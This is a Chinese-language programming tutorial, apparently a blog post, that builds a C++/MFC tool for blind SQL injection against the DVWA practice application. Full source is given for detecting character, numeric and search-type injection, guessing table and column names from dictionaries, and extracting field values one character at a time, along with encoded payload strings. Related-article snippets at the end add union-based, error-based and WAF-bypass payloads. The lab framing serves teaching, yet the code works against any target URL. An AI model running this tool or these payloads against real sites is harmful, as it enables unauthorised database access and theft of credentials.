网络安全编程:开发SQL注入工具

Andrew2021-07-14 08:16:28

SQL注入的产生是由于程序没有对外部的输入进行过滤,从而导致被精心构造的外来数据被注入到SQL语句中被执行而产生的黑客攻击。本文针对DVWA编写一个简单的用于辅助SQL注入的工具,在编写工具的同时可以从原理和本质上来了解SQL注入的形成。除了DVWA以外,还有许许多多不同的Web安全练习平台,无论是哪种Web安全练习平台都少不了最基础的练习。


在拿到一个网站要进行注入时,需要检测确认该网站是否存在已知的SQL注入的漏洞,那么就需要有进行判定是否存在SQL注入漏洞的方式。而SQL注入的漏洞常见有字符型注入、数值型注入和搜索型注入。虽然注入被分为了3类,但是它们的检测思路是相通的,下面举例介绍一下。


在登录某个Web系统时,首先会要求输入自己的用户名和密码,然后提交给Web服务器,Web服务器接收请求后转交给Web脚本去处理请求,接着Web脚本会用得到的用户名和密码去数据库中匹配是否存在该用户名,且该用户名的密码是否正确。在数据库中进行查询的语言就叫作SQL,即结构化查询语言。对于进行用户名和密码匹配的SQL脚本大体如下所示:


Select * from user where username='admin' and password='123456'

在上面的SQL语句中,就是要在user表中去匹配是否存在用户名为admin和密码为123456的记录。注意,这里的admin和123456都是用引号引住的,说明这两个值是字符型。


平时在浏览网页时,可能会看到如下的连接:


http://localhost/article.php?id=1

在这个URL中,article.php是请求的页面,id=1是提交给article.php的参数。而这个参数有可能是数值型,也有可能是字符型,用该id在数据库中查询可能是以下两种情况。


Select * from article where id = 1

上面的是数值型,对于字符型是如下的查询语句:


Select * from article where id = '1'

最后再说一下搜索型,搜索型一般是用在搜索栏的位置上,用于输入某个关键字然后在数据库中对该关键字进行匹配,比如要搜索所有以“微信公众号:计算机与网络安全”为标题的文章,可能的查询语句如下:


Select * from article where title like '%微信公众号:计算机与网络安全%'

在做搜索型查询时,在输入的关键字的两边有“%”,它用于匹配任何字符,而且查询时不再使用“=”,而是使用“like”关键字。


这就是3种不同的查询方式,而在实际写SQL的时候很少有人描述字符型查询、数值型查询的,因为编写SQL的人知道查询的值是什么类型,如果是数值就直接写,如果是字符则在字符的两侧加单引号。但是对于在进行注入检测时,是哪种类型就需要靠猜测了。


接着介绍Web脚本是如何让SQL去数据库中进行查询的,以下面这个URL进行说明。


http://localhost/article.php?id=1

如果这里的id是字符型,那么在Web脚本语言中可能是如下代码(以PHP语言说明)。


$id = $_GET['id'];$sql = "select * from article where id = '" . $id . "'";Mysql_query($sql);

首先获得id,接着将id进行拼接,注意在id前后都有一个单引号,拼接好以后就和前面介绍的语句一样了。如果是数值型的话,PHP语言的代码如下:


$id = $_GET['id'];$sql = "select * from article where id = " . $id;Mysql_query($sql);

注意看,在拼接查询语句时是没有单引号的。


基础部分已经差不多了,那么来说说检测是否存在SQL注入的方法,仍然使用上面的URL来介绍,如何判断article.php?id=1这个URL是否存在注入呢?如果是数值型查询,那么只要在id=1后面跟一个and 1=1就可以了,URL如下:


http://localhost/article.php?id=1 and 1=1

如果是字符型查询,那么只要在id=1后面跟一个’ and ‘1’=’1就可以了,URL如下:


http://localhost/article.php?id=1' and '1'='1

为什么要加个and呢,and后面为什么是1=1呢?因为and是逻辑与关系,and前面的表达式为真,且and后面的表达式也为真时,and表达式为真。那么id=1一般都是真的,而1=1也肯定是真的,因此id=1 and 1=1也是真的,那么在数据库中仍然会把正确的数据进行返回,也就是说id=1和id=1 and 1=1返回的内容应该是一样的。字符型中的单引号是用来在进行SQL字符串拼接时使用的,大家可以自行查看字符型的查询代码前面的SQL语句。


但是只通过and 1=1是无法说明问题的,还需要另外一个and表达式来进行测试,URL如下:


http://localhost/article.php?id=1 and 1=2

判断完and 1=1以后,就需要判断and 1=1,因为1=2是假,因此id=1 and 1=2的and表达式肯定为假,当为假的时候则无法返回正确的内容,也就是说id=1 and 1=2是无法返回与id=1相同的结果的。


因此,在进行SQL注入检测的时候,需要根据不同的类型来构造不同的检测判断,当and 1=1返回的内容与原内容相同,且and 1=2返回的内容与原内容不同时,基本就可以判定是存在SQL注入的了。


在DVWA中对上面的原理进行演示,将DWVA的安全级别设置为“Low”,然后进入“SQL Injection”模块,在界面中输入1,并进行提交,返回的页面被称为A页面,如图1所示。

图1 输入User ID为1的输出


再输入1' and '1'='1,这里是字符型的注入,是笔记已经测试过的,DVWA返回结果如图2所示,该页面被称为B页面。

图2 输入User ID为1' and '1'='1的输出


再输入1' and '1'='2,DVWA返回结果什么都没有,这个什么都没有返回的页面是C页面。判断是否存在注入的判定条件是,A页面的内容和B页面的内容相同,而B页面的内容和A页面的内容不相同。但是从返回页面来看A页面和B页面也有少许差异,但是差异并不在查询后的返回的内容上,而是将输入的内容显示到页面上以后又导致有了差异,那么A页面和B页面不完全相同了,如何进行判定呢?既然只是部分不相同了,那么还是不影响判定的,可以匹配页面的相似度,也可以去匹配页面上的特征码。匹配相似度可能稍微麻烦,但是匹配特征码就相对简单了,只要能查询出结果,就会在页面上返回“First name”和“Surname”,那么就用页面上的“First name”来作为特征码,判定条件就变了,在A页面上有“First name”,B页面上也有“First name”,且C页面上没有“Firstname”那么就判定该页面存在SQL注入。


在“SQL Injection”模块中提交了数据以后,URL的地址如下:


http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit# 

地址栏的数据是?id=1&Submit=Submit这样的,经过测试,如果地址栏没有Submit=Submit则提交后会有问题,但是它的存在不利于测试,那么修改该URL地址如下:


http://127.0.0.1/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1 

通过这样既保留了Submit=Submit,又可以利用id=1进行注入测试了。


有了上面的思路以后,就来看一下接下来要编写的程序,如图3所示。

图3 SQL注入检测程序


在图中先将需要检测的URL地址填入,然后填入特征码,选择好注入的类型,然后单击“测试”,就会看到测试的情况。下面来看单击“测试”按钮后的代码,代码如下:


void CSQLInjectToolsDlg::OnBnClickedButton1(){  // TODO: 在此添加控件通知处理程序代码  CString strUrl;  GetDlgItemText(IDC_EDIT1, strUrl);  GetDlgItemText(IDC_EDIT2, m_strSign);  DWORD dwServiceType; // 服务类型  CString strServer; // 服务器地址  CString strObject; // URL 指向的对象  INTERNET_PORT nPort; // 端口号  AfxParseURL(strUrl, dwServiceType, strServer, strObject, nPort);  CheckInject(strServer, strObject, nPort);}

获得需要测试的注入地址,以及获得特征码,然后在CheckInject函数中进行检测,CheckInject函数代码如下:


void CSQLInjectToolsDlg::CheckInject(CString strServer, CString strObject, INTERNET_PORT nPort){  CString strUrl;  strUrl = "http://" + strServer + strObject;  switch ( m_nSel )  {    case 1:    {      m_ScanList.InsertItem(m_ScanList.GetItemCount(), "测试字符型");      if ( Check(strServer, strObject, pCharText[0], pCharText[1]) )      {        strUrl = strUrl + "[存在]";      }      else      {        strUrl = strUrl + "[不存在]";      }      break;    }    case 2:    {      m_ScanList.InsertItem(m_ScanList.GetItemCount(), "测试数值型");      if ( Check(strServer, strObject, pNumText[0], pNumText[1]) )      {        strUrl = strUrl + "[存在]";      }      else      {        strUrl = strUrl + "[不存在]";      }      break;    }    case 3:    {      m_ScanList.InsertItem(m_ScanList.GetItemCount(), "测试搜索型");      if ( Check(strServer, strObject, pSearchText[0], pSearchText[1]) )      {        strUrl = strUrl + "[存在]";      }      else      {        strUrl = strUrl + "[不存在]";      }      break;    }    default:    {      AfxMessageBox("请选择测试类型!!");      break;    }  }  m_ScanList.InsertItem(m_ScanList.GetItemCount(), strUrl);  // closesocket(m_sock);}

在代码中,switch用来判断选择的是哪种注入的测试类型,然后具体的判断实现在Check函数中,Check函数的代码如下:


BOOL CSQLInjectToolsDlg::Check(CString strServer, CString strObject, CString str11,CString str12){  BOOL bRet = FALSE;  char szSendPacket[1024] = { 0 };  char szRecvPacket[0x2048] = { 0 };  CString strUrl;  m_sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);  sockaddr_in ServerAddr = { 0 };  ServerAddr.sin_family = AF_INET;  ServerAddr.sin_port = htons(80);  ServerAddr.sin_addr.S_un.S_addr = inet_addr(strServer);  connect(m_sock, (const sockaddr *)&ServerAddr, sizeof(ServerAddr));  // 测试真  strUrl = strObject + str11;  HttpGet(szSendPacket, strUrl.GetBuffer(0), strServer.GetBuffer(0));  send(m_sock, szSendPacket, strlen(szSendPacket), 0);  recv(m_sock, szRecvPacket, 0x2048, 0);  CString strPacket_11 = szRecvPacket;  closesocket(m_sock);  m_sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);  connect(m_sock, (const sockaddr *)&ServerAddr, sizeof(ServerAddr));  // 测试假  strUrl = strObject + str12;  ZeroMemory(szSendPacket, 1024);  ZeroMemory(szRecvPacket, 0x2048);  HttpGet(szSendPacket, strUrl.GetBuffer(0), strServer.GetBuffer(0));  send(m_sock, szSendPacket, strlen(szSendPacket), 0);  recv(m_sock, szRecvPacket, 0x2048, 0);  CString strPacket_12 = szRecvPacket;  closesocket(m_sock);  if ( strPacket_11.Find(m_strSign) != -1 && strPacket_12.Find(m_strSign) == -1 )  {    bRet = TRUE;  }  return bRet;}

首先连接Web服务器,对服务器发送数据包,然后接收服务器返回的数据包,发送的包是对Web服务器的GET请求,而接收的数据包就是Web服务器返回的网页的内容。第一次发送的是永真的1=1,第二次发送永假的1=2,然后分别在两个包中查找特征码即可。发送的数据包的函数是HttpGet函数,该函数的定义如下:


void CSQLInjectToolsDlg::HttpGet(char* strGetPacket, char* strUrl, char* strHost){  wsprintf(strGetPacket, "GET %s HTTP/1.1\r" "Host: %s\r" "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp, */*;q=0.8\r" "Upgrade-Insecure-Requests: 1\r" "User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36\r" "Referer: http://localhost/dvwa-1.9/vulnerabilities/sqli/\r" "Accept-Encoding: gzip, deflate, sdch\r" "Accept-Language: zh-CN,zh;q=0.8\r" "Cookie: security=low; pgv_pvi=8928542720; Hm_lvt_0a8b0d0d0f05cb8727db5cc8d 1f0dc08=1505118977; a5787_times=1; a3564_times=1; pageNo=1; pageSize=30; Hm_lvt_82116c626a8d504a5c0675073362ef6f=1508373269,1508719861,1508806033, 1508821087; PHPSESSID=jn0pc2a4eubcd400m4bh6nv1n2\r" "Connection: close\r\r", strUrl, strHost);}

发送的数据包是从Burp中拦截到的数据包,修改包请求的URL和请求主机即可。最后给出代码中对3种注入检测的定义,定义如下:


// 字符型char *pCharText[] ={ "%27+and+%271%27=%271", "%27+and+%271%27=%272"};// 数值型char *pNumText[] ={ " and 1=1", " and 1=2"};// 搜索型char *pSearchText[] ={ "%25%27+and+1=1+and+%27%25%27=%27%25", "%25%27+and+1=2+and+%27%25%27=%27%25"};

在请求的URL中,空格使用“+”代替,%27表示单引号,%25表示%。在URL中有很多字符出现以后是需要经过编码的,不过好在这里只是使用ASCII码进行了表示,大家在写的时候需要注意。


上面是关于检测的部分,下面来介绍关于利用的部分。利用的部分也类似检测部分的原理,下面介绍如何猜解数据库中的表名。判断数据库中有哪些表,这个也需要用到字典。这个字典可以自己收集,同样也可以在现有的软件中找一些字典来自己使用。


猜解数据库中的表名,同样也是用到SQL语句,还是以DVWA安全级别为“Low”的“SQL Injection”模块来演示,如图4所示。

图4 SQL注入对表名的猜解


Exists在SQL中用来检测括号中的查询语句是否返回结果集,上面的查询语句exists(select * from users)中,exists要判断select * from users是否返回了结果集,返回了就为真,没返回就为假,至于返回什么结果集并不重要。由此可以看出exists返回的是一个逻辑值,因此在判断表名是否存在时就是这么判断的。上面构造的查询语句如下:


Select firstname, surname from 表 名 where id = '1' and exists(select * from users) and'1'='1'

在exists括号中的users就是要猜解的表名,当表名存在的时候就会有结果集返回,那么exists为真,整个and表达式成立,则页面会返回与正常页面相同的页面,或者返回带有特征码的页面。猜解表单的代码如下:


void CSQLInjectToolsDlg::OnBnClickedButton2(){  // TODO: 在此添加控件通知处理程序代码  CString strUrl;  GetDlgItemText(IDC_EDIT1, strUrl);  GetDlgItemText(IDC_EDIT2, m_strSign);  DWORD dwServiceType; // 服务类型  CString strServer; // 服务器地址  CString strObject; // URL 指向的对象  INTERNET_PORT nPort; // 端口号  AfxParseURL(strUrl, dwServiceType, strServer, strObject, nPort);  int nTable = sizeof(tables) / MAXBYTE;  m_ScanList.InsertItem(m_ScanList.GetItemCount(), "开始猜表名");  for ( int i = 0; i < nTable; i++ )  {    CString strUrl_1;    // and (select count(*) from user) > 0    strUrl_1.Format("%s%%27+and+exists%%28select+*+from+%s%%29+and+%%271%%27=%%271",      strObject, tables[i]);    m_sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);    sockaddr_in ServerAddr = { 0 };    ServerAddr.sin_family = AF_INET;    ServerAddr.sin_port = htons(80);    ServerAddr.sin_addr.S_un.S_addr = inet_addr(strServer);    connect(m_sock, (const sockaddr *)&ServerAddr, sizeof(ServerAddr));    char szSendPacket[1024] = { 0 };    char szRecvPacket[0x2048] = { 0 };    HttpGet(szSendPacket, strUrl_1.GetBuffer(0), strServer.GetBuffer(0));    send(m_sock, szSendPacket, strlen(szSendPacket), 0);    recv(m_sock, szRecvPacket, 0x2048, 0);    CString strPacket;    strPacket = szRecvPacket;    CString tab = tables[i];    if ( strPacket.Find(m_strSign) != -1 )    {      tab = tab + "[存在该表]";    }    m_ScanList.InsertItem(m_ScanList.GetItemCount(), tab);    closesocket(m_sock);  }  m_ScanList.InsertItem(m_ScanList.GetItemCount(), "结束猜表名");}

上面的关键在该句代码:


strUrl_1.Format("%s%%27+and+exists%%28select+*+from+%s%%29+and+%%271%%27=%%271",strObject, tables[i]);

该代码用来拼接请求的URL,其中%28和%29是分别代表了“(”和“)”,这两个字符也不能出现在URL中,因此使用ASCII码替换。然后在其中不断地用tables数组中保存的表字典来猜测,表字典的定义如下:


// 猜表名char tables[][MAXBYTE] = { "admin", "manage", "users", "user", "guestbook", "note"};

程序运行后的效果如图5所示。

图5 SQL注入猜解表名


猜解完表名接下来就要猜解表中的列名,猜解列名如图6所示。

图6 SQL注入猜解列名


猜解列名的原理依然类似,代码如下所示:


char columns[][MAXBYTE] = { "id", "user", "username", "pass", "pwd", "password"};void CSQLInjectToolsDlg::OnBnClickedButton3(){  // TODO: 在此添加控件通知处理程序代码  CString strTable;  CString strUrl;  GetDlgItemText(IDC_EDIT1, strUrl);  GetDlgItemText(IDC_EDIT2, m_strSign);  GetDlgItemText(IDC_EDIT3, strTable); // 获取猜解表名  DWORD dwServiceType; // 服务类型  CString strServer; // 服务器地址  CString strObject; // URL 指向的对象  INTERNET_PORT nPort; // 端口号  AfxParseURL(strUrl, dwServiceType, strServer, strObject, nPort);  int nColumns = sizeof(columns) / MAXBYTE;  m_ScanList.InsertItem(m_ScanList.GetItemCount(), "开始猜列名");  for ( int i = 0; i < nColumns; i++ )  {    CString strUrl_1;    // and (select count(id) from user) > 0    strUrl_1.Format("%s%%27+and+%%28select+count%%28%s%%29+from+%s%%29>0+and+      %%271%%27=%%271", strObject, columns[i], strTable);    m_sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);    sockaddr_in ServerAddr = { 0 };    ServerAddr.sin_family = AF_INET;    ServerAddr.sin_port = htons(80);    ServerAddr.sin_addr.S_un.S_addr = inet_addr(strServer);    connect(m_sock, (const sockaddr *)&ServerAddr, sizeof(ServerAddr));    char szSendPacket[1024] = { 0 };    char szRecvPacket[0x2048] = { 0 };    HttpGet(szSendPacket, strUrl_1.GetBuffer(0), strServer.GetBuffer(0));    send(m_sock, szSendPacket, strlen(szSendPacket), 0);    recv(m_sock, szRecvPacket, 0x2048, 0);    CString strPacket;    strPacket = szRecvPacket;    CString col = columns[i];    if ( strPacket.Find(m_strSign) != -1 )    {      col = col + "[存在该列]";    }    m_ScanList.InsertItem(m_ScanList.GetItemCount(), col);    closesocket(m_sock);  }  m_ScanList.InsertItem(m_ScanList.GetItemCount(), "结束猜列名");}

猜解列名的关键语句如下所示:


1' and (select count(password) from users)>0 and '1'='1

猜解列名时,不断地替换count函数括号内的字段名,当该字段存在值时会返回一个大于0的值,使得and表达式成立,于是返回带有特征码的页面。


一般情况下,猜解完列名,就该猜解列里面的值了,这里给出关键的构造SQL的语句。猜解列里的值,仍然是使用暴力破解,但是首先要知道列里的值的长度,计算长度的SQL语句如下:


1' and (select length(user) from users limit 0,1)=5 and '1'='1

首先length函数是用来计算长度的函数,这里length(user)是用来计算user字段中值的长度,user列中可能不会只有一个值,而是会有多个值,但是判断时只需要取一条记录,因此取了第一条记录,使用的语句是limit 0,1,也就是从第0条记录开始取1条。取出来的记录如果为5则返回真,如果不是5则返回假。


因此,构造该语句时大体如下:


strUrl.format("1' and (select length(字段名) from 表名 limit %s,1)=%d and '1'='1",n, len);

其中n表示第几条记录,len表示猜解的长度,因为长度不固定因此长度使用循环变量逐个尝试即可。比如,猜解的第0条用户名是admin,那么长度就为5,有了长度之后再使用如下的语句猜解每一位的值,猜解admin的过程如下:


// 字段值1' and (select ascii(mid(user, 1, 1)) from users limit 0, 1) = 97 and '1'='11' and (select ascii(mid(user, 2, 1)) from users limit 0, 1) = 100 and '1'='11' and (select ascii(mid(user, 3, 1)) from users limit 0, 1) = 109 and '1'='11' and (select ascii(mid(user, 4, 1)) from users limit 0, 1) = 105 and '1'='11' and (select ascii(mid(user, 5, 1)) from users limit 0, 1) = 110 and '1'='1

上面的97表示a,100表示d,该处使用数字、大小写字母进行替换测试即可,当测试条件成功后,测试下一个值,这时就使用到了mid函数,mid函数是用来取值字符串的子串的,因此猜解值时需要双重循环来进行猜解。


下来完成判断列值长度的功能,如图7所示。

图7 SQL注入猜解列值长度


在图7中猜解的是users表中第0条记录的user字段(字段就是列),猜解到的长度为5。下面看代码:


void CSQLInjectToolsDlg::OnBnClickedButton4(){  // TODO: 在此添加控件通知处理程序代码  CString strTable;  CString strField;  CString strUrl;  CString strNum;  GetDlgItemText(IDC_EDIT1, strUrl);  GetDlgItemText(IDC_EDIT2, m_strSign);  GetDlgItemText(IDC_EDIT3, strTable); // 获取猜解表名  GetDlgItemText(IDC_EDIT4, strField); // 列名  GetDlgItemText(IDC_EDIT5, strNum); // 猜解第几行  DWORD dwServiceType; // 服务类型  CString strServer; // 服务器地址  CString strObject; // URL 指向的对象  INTERNET_PORT nPort; // 端口号  AfxParseURL(strUrl, dwServiceType, strServer, strObject, nPort);  m_ScanList.InsertItem(m_ScanList.GetItemCount(), "开始猜列值长度");  // 求长度  int nLen = 1;  while ( nLen <= 64 )  {    CString strUrl_1;    // and (select length(username) from user limit 1) = 5    strUrl_1.Format("%s%%27+and+%%28select+length%%28%s%%29+from+%s+limit+%s%%2      C1%%29=%d+and+%%271%%27=%%271", strObject, strField, strTable, strNum, nLen);    m_sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);    sockaddr_in ServerAddr = { 0 };    ServerAddr.sin_family = AF_INET;    ServerAddr.sin_port = htons(80);    ServerAddr.sin_addr.S_un.S_addr = inet_addr(strServer);    connect(m_sock, (const sockaddr *)&ServerAddr, sizeof(ServerAddr));    char szSendPacket[1024] = { 0 };    char szRecvPacket[0x2048] = { 0 };    HttpGet(szSendPacket, strUrl_1.GetBuffer(0), strServer.GetBuffer(0));    send(m_sock, szSendPacket, strlen(szSendPacket), 0);    recv(m_sock, szRecvPacket, 0x2048, 0);    CString strPacket;    strPacket = szRecvPacket;    if ( strPacket.Find(m_strSign) != -1 )    {      closesocket(m_sock);      break;    }    closesocket(m_sock);    nLen ++;  }  CString num;  num.Format("%d", nLen);  m_ScanList.InsertItem(m_ScanList.GetItemCount(), num);  m_ScanList.InsertItem(m_ScanList.GetItemCount(), "结束猜列值长度");}

最后再来看一下猜解列的值,如图8所示。

图8 SQL注入字段值的猜解


在图8中,需要手动输入猜解到的表名、列名和长度,当猜解第0行记录的user列的长度后,一定是猜解第0行记录的user列的值。代码如下:


void CSQLInjectToolsDlg::OnBnClickedButton5(){  // 在此添加控件通知处理程序代码  CString strTable;  CString strField;  CString strUrl;  CString strNum;  int nLen;  GetDlgItemText(IDC_EDIT1, strUrl);  GetDlgItemText(IDC_EDIT2, m_strSign);  GetDlgItemText(IDC_EDIT3, strTable); // 获取猜解表名  GetDlgItemText(IDC_EDIT4, strField); // 列名  GetDlgItemText(IDC_EDIT5, strNum); // 猜解第几行  nLen = GetDlgItemInt(IDC_EDIT6);  DWORD dwServiceType; // 服务类型  CString strServer; // 服务器地址  CString strObject; // URL 指向的对象  INTERNET_PORT nPort; // 端口号  AfxParseURL(strUrl, dwServiceType, strServer, strObject, nPort);  m_ScanList.InsertItem(m_ScanList.GetItemCount(), "开始猜列值");  CString strValue;  int i = 1;  CString username;  // 长度用于猜解每一位  while ( i <= nLen )  {    // 这里猜解只猜解小写的字母    // 这里在实际的时候需要改成各种可能的字符    for ( int c = 97; c < 122; c ++ )    {      CString strUrl_1;      // and (select ascii(mid(username, 1, 1)) from user limit 1) = 97      strUrl_1.Format("%s%%27+and+%%28select+ascii%%28mid%%28%s,%d,1%%29%%29+        from+%s+limit+%s,1%%29=%d+and+%%271%%27=%%271",        strObject, strField, i, strTable, strNum, c);      m_sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);      sockaddr_in ServerAddr = { 0 };      ServerAddr.sin_family = AF_INET;      ServerAddr.sin_port = htons(80);      ServerAddr.sin_addr.S_un.S_addr = inet_addr(strServer);      connect(m_sock, (const sockaddr *)&ServerAddr, sizeof(ServerAddr));      char szSendPacket[1024] = { 0 };      char szRecvPacket[0x2048] = { 0 };      HttpGet(szSendPacket, strUrl_1.GetBuffer(0), strServer.GetBuffer(0));      send(m_sock, szSendPacket, strlen(szSendPacket), 0);      recv(m_sock, szRecvPacket, 0x2048, 0);      CString strPacket;      strPacket = szRecvPacket;      if ( strPacket.Find(m_strSign) != -1 )      {        // 拼接猜解的每一位用户名        username.Format("%s%c", username, c);        closesocket(m_sock);        break;      }      closesocket(m_sock);    }    i ++;  }  username = username + "[猜解结果]";  m_ScanList.InsertItem(m_ScanList.GetItemCount(), username);  m_ScanList.InsertItem(m_ScanList.GetItemCount(), "结束猜列值");} 

到这里整个的关于DVWA系统中针对安全级别为“Low”的“SQL Injection”模块的测试和利用代码就完成了。从整个代码中可以看出,对于基本的掌握SQL的使用是不复杂的,没有接触过的朋友通过少量的时间即可学会。对Web安全感兴趣的朋友,可以跟着DVWA系统进行练习,因为DVWA系统已经基本涉及了Web安全领域入门所需要掌握的常见漏洞,如果大家能够在学习DVWA的过程中将PHP语言学会(DVWA就是PHP+MySQL写的),通过阅读DVWA各个安全级别的代码,不但可以掌握各种漏洞的形成,还能够学习到如何编写安全的Web代码,从而在源头上尽可能地杜绝漏洞的产生。

sql注入dvwa
本作品采用《CC 协议》,转载必须注明作者和本文链接
Brute Force 是暴力破解的意思,是指黑客利用穷举工具并配合合理的密码字典,来猜解用户的密码。这里主要介绍Burp Suite工具,与DVWA的Brute Force模块。在DVWA中打开Brute Force模块,如图1所示。
漏洞及渗透练习平台 数据库注入练习平台 花式扫描器 信息搜集工具 WEB工具 windows域渗透工具 漏洞利用及攻击框架 漏洞POC&EXP 中间人攻击及钓鱼 密码pj 二进制及代码分析工具 EXP编写框架及工具 隐写相关工具 各类安全资料 各类CTF资源 各类编程资源 Python
随着互联网的迅速发展,网络安全问题日益严峻。黑客攻击和网络漏洞成为让人头痛的问题。为了保护自己的网络安全,安全专家不仅需要了解网络安全原理,还需要熟悉网络渗透工具的使用。Python作为一种简单易学且功能强大的编程语言,被广泛应用于网络安全领域。本文将推荐python渗透工具。
针对DVWA编写一个用于辅助SQL注入的工具
我们都知道,学安全,懂SQL注入是重中之重,因为即使是现在SQL注入漏洞依然存在,只是相对于之前现在挖SQL注入变的困难了。而且知识点比较多,所以在这里总结一下。通过构造有缺陷的代码,来理解常见的几种SQL注入。本文只是讲解几种注入原理,没有详细的利用过程。
id=3';对应的sql:select * from table where id=3' 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常; 加and 1=1 ,URL:xxx.xxx.xxx/xxx.php?id=1' order by 3# 没有报错,说明存在3列爆出数据库:?id=-1' union select 1,group_concat,3 from information_schema.schemata#爆出数据表:?id=1' and extractvalue--+(爆字段)?
Bypass安全狗MySQL注入
id=1' order by 3# 没有报错,说明存在3列。id=-1' union select 1,group_concat,3 from 数据库名.数据表名--+拓展一些其他函数:system_user() 系统用户名。updatexml函数:细节问题:extractvalue()基本一样,改个关键字updatexml即可,与extractvalue有个很大的区别实在末尾注入加上,如:,而extractvalue函数末尾不加1(数值)?
对于攻击者而言,只需要在POST BODY前面添加许多无用的数据,把攻击的payload放在最后即可绕过WAF检测。实验步骤首先使用BurpSuite抓取数据包,并记下数据包的Header信息编写好我们的Python脚本进行FUZZ:#!
Andrew
暂无描述